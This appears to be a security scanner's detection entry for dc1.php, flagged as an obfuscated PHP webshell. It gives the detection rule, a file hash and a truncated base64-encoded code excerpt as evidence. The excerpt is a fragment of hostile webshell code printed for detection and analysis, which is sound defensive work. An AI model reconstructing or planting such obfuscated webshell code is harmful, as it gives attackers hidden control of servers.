dc1.php
PHP webshell with obfuscation
Detects hex encoded code that has been base64 encodedphp webshell containing base64 encoded payload
SHA-2567222f36a35dcc30014186fcc6e9bd31ca4e23904213f889cfa4484c4d5343859
Evidence
1<?php
2… ZhciAkZW9mX2N0cmxfZGlyID0gIlx4NTBceDRiXHgwNVx4MDZceDAwXHgwMFx4MDBceDAwIjsNCgl2YXIgJG9sZF9vZmZzZXQgICA9IDA7DQoNCglmdW5jdGlvbiB1bml4MkRvc1RpbWUoJHVuaXh0aW1lID0gMCkgew0KCQkkdGltZWFycmF5ID0gKCR1bml4dGltZSA9PSAwKSA/IGdldGRhdGUoKSA6IGdldGRhdGUoJHVuaXh0aW1lKTsNCgkJaWYgKCR0aW1lYXJyYXlbJ3llYXInXSA8IDE5ODApIHsNCgkJCSR0aW1lYXJyYXlbJ3llYXInXSAgICA9IDE5ODA7DQoJCQkkdGltZWFycmF5Wydtb24nXSAgICAgPSAxOw0KCQkJJHRpbWVhcnJheVsnbWRheSddICAgID0gMTsNCgkJCSR0aW1lYXJyYXlbJ2hvdXJzJ10gICA9IDA7DQoJCQkkdGltZWFycmF5WydtaW51dGVzJ10gPSAwOw0KCQkJJHRpbWVhcnJheVsnc2Vjb25kcyddID0gMDsNCgkJfSAvLyBlbmQgaWYNCgkJcmV0dXJuICgoJHRpbWVhcnJheVsneWVhciddIC0gMTk4MCkgPDwgMjUpIHwgKCR0aW1lYXJyYXlbJ21vbiddIDw8IDIxKSB8ICgkdGltZWFycmF5WydtZGF5J10gPDwgMTYpIHwNCgkJCQkoJHRpbWVhcnJheVsnaG91cnMnXSA8PCAxMSkgfCAoJHRpbWVhcnJheVsnbWludXRlcyddIDw8IDUpIHwgKCR0aW1lYXJyYXlbJ3NlY29uZHMnXSA+PiAxKTsNCgl9DQoNCglmdW5jdGlvbiBhZGRGaWxlKCRkYXRhLCAkbmFtZSwgJHRpbWUgPSAwKSB7DQoJCSRuYW1lID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbmFtZSk7DQoNCgkJJGR0aW1lID0gZGVjaGV4KCR0aGlzLT51bml4MkRvc1RpbWUoJHRpbWUpKTsNCgkJJGhleGR0aW1lCT0gJ1x4JyAuICRkdGltZVs2XSAuICRkdGltZVs3XQ0KCQkJCQkuICdceCcgLiAkZHRpbWVbNF0gLiAkZHRpbWVbNV0NCgkJCQkJLiAnXHgnIC4gJGR0aW1lWzJdIC4gJGR0aW1lWzNdDQoJCQkJCS4gJ1x4JyAuICRkdGltZVswXSAuICRkdGltZVsxXTsNCgkJZXZhbCgnJGhleGR0aW1lID0gIicgLiAkaGV4ZHRpbWUgLiAnIjsnKTsNCgkJJGZyCT0gIlx4NTBceDRiXHgwM1x4MDQiOw0KCQkkZnIJLj0gIlx4MTRceDAwIjsNCgkJJGZyCS49ICJceDAwXHgwMCI7DQoJCSRmcgkuPSAiXHgwOFx4MDAiOw0KCQkkZnIJLj0gJGhleGR0aW1lOw0KDQoJCSR1bmNfbGVuID0gc3RybGVuKCRkYXRhKTsNCgkJJGNyYyA9IGNyYzMyKCRkYXRhKTsNCgkJJHpkYXRhID0gZ3pjb21wcmVzcygkZGF0YSk7DQoJCSRjX2xlbiA9IHN0cmxlbigkemRhdGEpOw0KCQkkemRhdGEgPSBzdWJzdHIoc3Vic3RyKCR6ZGF0YSwgMCwgc3RybGVuKCR6ZGF0YSkgLSA0KSwgMik7DQoJCSRmciAuPSBwYWNrKCdWJywgJGNyYyk7DQoJCSRmciAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7DQoJCSRmciAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSk7DQoJCSRmciAuPSBwYWNrKCd2JywgMCk7DQoJCSRmciAuPSAkbmFtZTsNCgkJJGZyIC49ICR6ZGF0YTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkY3JjKTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkY1 …